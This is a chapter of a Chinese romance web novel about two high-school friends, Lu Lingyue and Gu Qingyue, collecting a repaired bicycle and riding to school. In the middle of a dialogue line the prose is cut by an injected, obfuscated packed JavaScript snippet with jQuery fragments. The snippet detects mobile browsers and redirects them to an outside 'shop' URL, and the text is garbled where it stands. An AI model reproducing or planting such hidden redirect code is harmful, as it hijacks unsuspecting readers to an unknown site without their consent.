陆泠月手里攥着给顾清樾带的早餐，肩上背着自己和顾清樾的书包，走向老陈修理铺。
这还是她第一次背顾清樾的书包。
和别的学霸满满当当的书包不同，顾清樾的书包很轻，只有几本书。
陆泠月想起了初中时的一段旧事。
有一次放学，她看到顾清樾扁扁的书包，好奇问：“别的学霸都带一书包的书回家，晚上还要挑灯夜读呢，你怎么就带这么点儿？”
顾清樾手上还有一个沉甸甸的书包，闻言慢悠悠反问：“别的学霸——是指你吗？”
陆泠月理直气壮地点头：“是啊。”
顾清樾空着的手，点了点她书包侧面鼓出来的一个方形轮廓：“作业都做完了，为什么还要把书带回去？你又不会去看。”
陆泠月眨眨眼：“谁说我不会看了，我头悬梁，锥刺股，你能不能向我看齐？”
顾清樾：“。”
陆泠月：“书包越鼓，别人看到就会觉得我很认真。”
顾清樾：“别人也可能觉得你作业总是做不完，才要带这么多书回家。”
后来陆泠月仔细想想，觉得有几分道理。
从那以后，她也开始精简行囊，不再徒劳地背着一堆根本不会翻开的书来回奔波。
陆泠月一直以为顾清樾是真心给她建议，是为了让她看起来更加学霸，直到很久之后的一个傍晚。
那天她值日稍微晚了些，走到教学楼后面的自行车棚时，听到傅屿爽朗的笑声传来。
“阿樾，你这招高啊，轻轻松松几句话，就劝月月再也不当搬运工了，哈哈哈哈，咱们终于不用再时不时帮她背那个巨石一样的书包了，厉害厉害！”
顾清樾单手插兜，嘴角噙着若有若无的笑意，并未反驳。
陆泠月站在拐角的阴影，捏紧拳头。
原来如此。
陆泠月决定报复顾清樾，报复的方式朴实无华。
以后她的书包都让他背了。
当然，蒋翊和傅屿也不能放过。
顾清樾拎着明显超重的书包，冷静发问：“一周五天，我、傅屿、蒋翊轮流给你背，为什么我是135？”
陆泠月：“能者多劳。”
顾清樾：“请问美术、音乐、劳动、心理健康，这些课本每周一三五背回家的意义是？”
陆泠月：“陶冶情操。”
顾清樾：“你同桌、前后桌的书，为什么也在你这里？”
陆泠月：“陶冶情操*6。”
惩罚没进行几天，陆泠月很快就发现了问题。
顾清樾个子高，分量不轻的书包挂在他肩上，他走起路来依旧步履轻松。
这哪里是报复，只不过是给他添了点无关痛痒的装饰。
这不行。
次日放学，班级的学生都走光了，顾清樾去办公室了，陆泠月在教室等他。
百无聊赖的时候。陆泠月看到了放在她桌子下面的实心球。
实心球是体育课要用的，因为中考要考实心球。
陆泠月坏坏一笑，把实心球塞进了书包里。
她正费力拉上拉链，一道清冽的嗓音从门口传来。
“陆泠月。”
陆泠月手一抖，倏地回头。
顾清樾不知何时回来了，手里拿着一叠卷子。
“只放实心球，”他走了过来，将卷子放在旁边桌上，平静问，“容量是不是有点浪费？”
陆泠月一时没反应过来：“……嗯？”
顾清樾用目光示意了一下教室后方19升的桶装水，“你怎么不一起塞进去？”
陆泠月：“……”
空气安静了两秒。
“顾清樾。”陆泠月抬起头，一脸认真，“我是在变相的锻炼你的身体素质。”
“是吗。”顾清樾伸手，拎起沉得离谱的书包，轻松地甩到肩上，“那提前谢谢你了。”
他顿了顿，看向陆泠月，“明天你是不是该把升旗台上的墩子拆下来，让我也背回去？”
陆泠月：“……”
……
似乎每次想到顾清樾，陆泠月总会想笑，她拍了拍脸，收敛心神，快加步伐去找老陈。
老陈，大名□□，是这条老街的守护神。年近五十，皮肤因常年户外劳作而黝黑发亮，总穿着一身沾满油污的深蓝色工装。
他年轻时在部队里是汽车兵，退伍后开了这家修理铺，一开就是二十多年。小到收音机、电风扇，大到摩托车、洗衣机，几乎没有他修不好的东西。
老陈为人更是没得说，豪爽热心，街坊邻居谁家有困难，他总会搭把手，收费也公道，有时只收个配件钱，遇到生活困难的老邻居，还常常分文不取。
他的修理铺很简陋，就是个不大的门面，墙上挂满了各种工具，地上堆满零件。
还没走到铺子门口，陆泠月就听到老陈洪亮的嗓门，以及老式落地扇努力工作时发出的嗡嗡声响。
透过半开的卷帘门，她看到老陈一边用黑乎乎的扳手拧着什么，一边和站在一旁的顾清樾聊天。
老陈说得眉飞色舞，唾沫星子都快喷出来了，而顾清樾安静地站着，偶尔点一下头，简短的回应一两个字：“嗯。”“是。”“谢谢陈叔。”
顾清樾背对着门口，穿着被无数一中学生私下吐槽“又丑又土”、“堪称审美灾难”的夏季校服。
短袖衬衫的材质是一种廉价且毫无筋骨可言的涤纶混纺，颜色是一种介于浅蓝和灰色之间的奇怪色调，被学生们戏称为“水泥蓝”或“绝望灰”，版型更是糟糕，松松垮垮，毫无腰身设计可言。
裤子则是同样毫无特色的深蓝色运动长裤，布料厚实不透气，实在谈不上舒适。
据说校长当年力排众议选定这款设计，初衷可能就是“让学生们把心思都放在学习上”，毕竟穿上它，确实很难产生什么风花雪月的心思。
然而，校服是校服，脸是脸，气质是气质。
这套堪称颜值封印的土气行头穿在顾清樾身上，硬是被他挺拔的身姿和清冷的气质撑住，穿出了一种不落俗套的清隽感。
灰蓝色的布料非但没有淹没他，反而奇异地衬托出他身形线条，像一株长在岩石缝隙里的青竹，不在意周遭环境，兀自挺拔。
顾清樾个子很高，初中毕业时就已经窜到了一米八六，在同龄人中是鹤立鸡群的存在。
一个暑假过去，他似乎又悄无声息地向上拔高了一些，身形更加舒展，肩膀也比之前宽阔了些，将原本宽松的校服撑起了好看的轮廓。
陆泠月不禁有些怨念，傅屿那家伙比顾清樾还高一厘米，蒋翊也有一米八三，只有她，顽强地停留在一米六二，任凭时光流逝，就是岿然不动。
真不知道他们三个是吃什么长大的，净往高处窜，一点也不考虑一下她这个“盆地”同胞的感受，每次站在一起，她都感觉自己像个误入巨人国的小矮人。
一阵带着热浪的穿堂风吹过，鼓起了顾清樾宽松的校服，薄薄的布料紧贴在他清瘦的后背上，勾勒出少年劲瘦却不显单薄的脊梁线条和肩胛骨的形状。
陆泠月的目光落在他被风吹拂的腰间，心想：顾清樾会不会有腹肌呢？他和傅屿经常一起打球、跑步，运动量应该不小。
傅屿那个骚包，夏天打球热了，经常不顾忌地撩起衣服下摆擦汗，有时候图省事，就直接把湿透的球衣脱了，炫耀他早早练就的腹肌，引得场边女生阵阵低呼。
顾清樾嘛，他那么注重形象，肯定干不出这种有伤风化的事，但按理说，应该也会有的吧？
不过看他平时穿着衣服显得清瘦的样子，也不一定……
“哟，月月来了？”老陈眼尖，看到站在门口出神的陆泠月，停下手中的活计，笑着大声打招呼，露出被香烟熏得有些发黄的牙齿，额头上亮晶晶的都是汗珠，“这大早上的，也够热的哈，来找阿樾上学？”
顾清樾闻声转过头。
“陈叔叔早，”陆泠月走进闷热的铺子，把早餐递给顾清樾，“是的，我来找顾清樾。”
“车已经修好了，小问题，就是链条断了几节，老化了，换根新的就成，顺便给你上了油，调了变速。”
老陈用挂在脖子上的旧毛巾擦了把脸上的汗，指了指旁边已经焕然一新的自行车，“你们快上学去吧，别迟到了。这鬼天气，教室里好歹还有空调吹吹，比我这铺子强。”
“谢谢陈叔。”顾清樾开口道谢。
“谢谢陈叔叔！”陆泠月也道谢，并把自己上午的零食送给老陈。
“陈叔叔，我奶奶包的粽子，请你吃！”
老陈嘿嘿一笑，也不客气，在工装裤上用力擦了擦手，才接过粽子，“哎哟，那谢谢月月了，正好没吃早饭呢。”
顾清樾推着修好的自行车走出逼仄的修理铺，陆泠月很自觉地凑上前，扶住另一边的车把，和他一起推车往学校方向走。
清晨的街道逐渐苏醒，洒水车播放着音乐缓缓驶过，留下一地湿润的痕迹和清新的水汽。
“你为什么还不吃早饭啊？”
陆泠月侧头看顾清樾手里原封不动的早餐，催促道，“你快吃吧，车子我来推。”
“我吃过了。”顾清樾目视前方，推着车继续走。
“骗人。”陆泠月戳穿顾清樾，“齐阿姨说你天没亮就出来了，哪有时间吃？快点，奶奶包的粽子，肉很多，我特意给你去皮了，怎么样，你姐姐我贴心不？”
顾清樾放开自行车，咬了一口，慢慢地咀嚼，咽下才说：“谢谢奶奶，很好吃。”
陆泠月玩心大起，眼珠一转：“其实这几个粽子是我包的哦，奶奶只是在旁边指导了我一下，你应该谢谢我。”
顾清樾上下打量陆泠月。
“按照你一贯‘勇于创新’、‘不走寻常路’的风格，如果你真的参与了包粽子，里面放的恐怕不止是肉、蛋黄和栗子。”
陆泠月：“……”
好吧，顾清樾赢了。
有时候陆泠月真的觉得，顾清樾比任何人都了解她。
她的确不止一次动过在粽子里加各种创新馅料的念头，比如尝试一下甜咸交织的夹心巧克力酱，或者叛逆地塞点辣条、薯片碎之类的黑暗料理，看看会是什么神奇的味道。
只不过每次她摩拳擦掌准备大显身手时，都会被奶奶以“不要糟蹋粮食”、“祖宗传下来的方子不能乱改”为由，无情地镇压在萌芽状态。
没想到，顾清樾连她这些未遂的犯罪意图都了如指掌。
他是她肚子里的蛔虫吗？
陆泠月有些悻悻地摸了摸鼻子，推着自行车往前走，小声嘟囔：“知道还那么多废话，快吃你的吧，就当谢谢你昨天亲手包的饺子。”
顾清樾纠正她的说法：“不客气，给木木包的。”
陆泠月瘪嘴，小声哼了一下：“嘴硬。”
明明就是特意包的，还扯什么猫。
不过她没再纠结这个，反正心里知道就行了。
陆泠月之所以不自己骑行车，要顾清樾送，根本原因在于，她是个彻头彻尾的自行车白痴，是平衡感领域的天弃之子。
说来实在惭愧，她天生就和两个轮子的交通工具犯冲，八字不合。
小时候学车那会儿，别的小朋友摔几次就摇摇晃晃能上路了，她就像是被下了诅咒，无论多么努力，一蹬脚踏板，车把就跟有自己的想法似的乱扭，然后她就连人带车，以各种匪夷所思的姿势摔出去，摔得那叫一个惨烈缤纷，花样百出，膝盖和手肘上的伤疤新旧叠加，几乎没断过。
当时顾清樾、傅屿、蒋翊三个男生轮番上阵，当她的护法兼教练，扶车尾、喊口令、各种鼓励加威胁，用尽所有能想到的办法，从科学分析重心到玄学祈祷，愣是没把她这块自行车界的榆木疙瘩给教会。
陆泠月觉得自己就像一块磁铁，专门吸引地面，怎么都摆脱不了地球引力对屁股的召唤。
最后，傅屿无奈地宣布放弃，拍拍她的头说“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185639|197018||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
月月，咱们还是用走的吧，安全第一”。
陆泠月自己也摔怕了，膝盖和手肘上的旧疤成了永恒的勋章，只好含泪接受了自己肢体严重不协调的现实，与自行车彻底绝缘。
至于为什么不找蒋翊送，那更是血泪教训。
蒋翊骑车太野，追求风驰电掣，肾上腺素飙升的感觉，完全不顾后座人的死活。
坐他的车，那感觉不亚于参加一场没有安全措施的极限运动，每一次加速、每一次转弯、每一次捏刹车，都伴随着后座乘客惊恐的尖叫和心脏骤停的瞬间。
有一次蒋翊好心载陆泠月回家，在一个大下坡路段，他居然兴奋地双手撒把，张开双臂高呼“我要飞得更高”，结果乐极生悲，连人带车直接冲进了路边的绿化带，两人摔得七荤八素，眼冒金星。
幸好只是些皮外伤，但陆泠月的魂都快吓没了，从此发誓再也不要坐蒋翊的死亡飞车，珍爱生命，远离蒋翊。
好在陆泠月家离一中不算太远，步行大概十多分钟，这也是她当初悬梁刺股、拼命学习非考上一中不可的重要原因之一。
可以走读，不用住校，能天天吃到奶奶做的饭。
所以平时，她要么走路，要么就厚着脸皮蹭傅屿的自行车后座。
傅屿骑车很稳，速度适中，还会特意避开颠簸的石子路，坐在他后座上，甚至可以放心地打个小盹。
可惜，现在傅屿去集训了，她的专属座驾没了着落，只好把主意打到不喜欢带人的顾清樾头上。
两人推车，并排走了一小段林荫路。
陆泠月偷偷瞄了一眼顾清樾推着车把的左手。
他的手很好看，手指修长，骨节分明，因为用力，手背上淡青色的血管微微凸起。昨天沾上的油污已经洗净，是一双可以当手模的手。
就是这双手，昨晚笨拙地包出奇形怪状却馅料十足的饺子，今天一早又推着坏掉的车来找陈叔修理。
瞧见这双手，陆泠月脑子里天马行空的思绪又飘远了。
她突然前言不搭后语问：“顾清樾，你以后结婚了，会不会把你所有的钱都上交给你老婆啊？”
顾清樾愣了一下，没有回答。
陆泠月自顾自地说：“说真的，我很难想象你喜欢上女生的模样。但你一定会吧，像你这种性格，看起来冷冰冰的，其实最讲规矩、最有责任感了，你以后肯定是个妻管严的潜力股，说不定比蒋翊还没家庭地位呢，被你老婆管得服服帖帖的，让往东不敢往西那种。”
说罢，她想到一个解决历史遗留问题的好办法，神情激动：“哎，我想过了！我现在没钱还初中的饭卡债，但是等你以后结婚的时候，我给你包一个超大超厚的红包，偷偷塞给你，不让你老婆知道，给你当私房钱，好不好？这样就算我还你了！”
顾清樾吐出两个字：“不好。”
“哎呀，你怎么这么死脑筋呀，虽然这么做是有点对不起你未来老婆，但是作为你的朋友，我还是希望你能对自己好一点，手头有点闲钱，想买什么也方便嘛，你看你都瘦成什么样了？”
陆泠月伸出手指，隔空点了点顾清樾校服下清瘦的腰身部位，一副操碎了心的模样：“所以啊，平时要记得好好吃饭，多吃点有营养的，懂不懂？你不把自己养得壮实一点，以后怎么有力气保护你老婆孩子呀？怎么扛米扛煤气罐？”
顾清樾嘴角抽搐了一下，淡淡地回了句：“知道了。”
他已经吃完粽子，将包装捏在手里，没有乱扔。
而后长腿一跨，坐上自行车座，单脚支地，侧过头对还在喋喋不休的陆泠月说：“上来吧，再磨蹭真要迟到了。”
陆泠月“哦”了一声，坐上自行车的后座。
然而，问题来了。
男女有别，而且顾清樾不是傅屿。
以前坐傅屿的车，陆泠月可以心安理得地直接搂住傅屿的腰，把脸贴在他结实的后背上，甚至有时候还会故意捣乱，戳戳他的腹肌。
但顾清樾不一样。顾清樾有洁癖，不喜欢和别人有过于亲密的肢体接触，平时不小心碰到他，他都会避开。
陆泠月手悬在半空，一时间不知道往哪里放。
抓着车座下面的金属杆，好像不太稳当，颠簸起来肯定难受。
扶着顾清樾的腰，会不会被他嫌弃地甩开？
就在她犹豫不决的时候，前面的顾清樾开口提醒：“扶好。”
“哦。”陆泠月伸出两只手，拽住顾清樾校服腰侧的两边布料，尽可能避免直接接触到他的身体。
自行车缓缓前行，速度比傅屿平时骑的要慢很多，很平稳。
风吹起顾清樾额前的碎发，也吹动了陆泠月长发，发丝拂过她的脸颊，有点痒。
陆泠月坐在后面，因为不用自己走路而倍感轻松，注意力又开始飘向顾清樾的后背。
近距离看，陆泠月才发现，顾清樾好像一点都不瘦弱诶。
他绝不是单薄的书呆子体型，尤其是近距离观察，感觉和傅屿差不多？
想起顾清樾和傅屿一起在篮球场上奔跑的身影，陆泠月忍不住好奇心，微微前倾身体，凑近顾清樾的后背：“顾清樾，我问你个问题哦。”
“什么？
“你有腹肌吗？”
“……”
陆泠月以为风声太大顾清樾听不见，还稍稍提高了点音量，“你为什么不说话？”
“……”还是沉默。
顾清樾绝对是听到了，但是他不想说，陆泠月更想知道了，威胁道：“你快说呀，再不说我上手摸你了哈？”
顾清樾忍无可忍：“没有。都是肥肉。”
顾清樾本想用这话堵住陆泠月的好奇心，万万没想到，下一秒，一只温热的手，隔着一层薄薄的校服，快速地在他紧实的小腹上按了一下。
触感一瞬即逝，但有一道微弱的电流，同时窜过两人的身体。
随即，身后响起陆泠月惊讶的叫声：“你骗人！顾清樾！你也有腹肌！硬邦邦的！”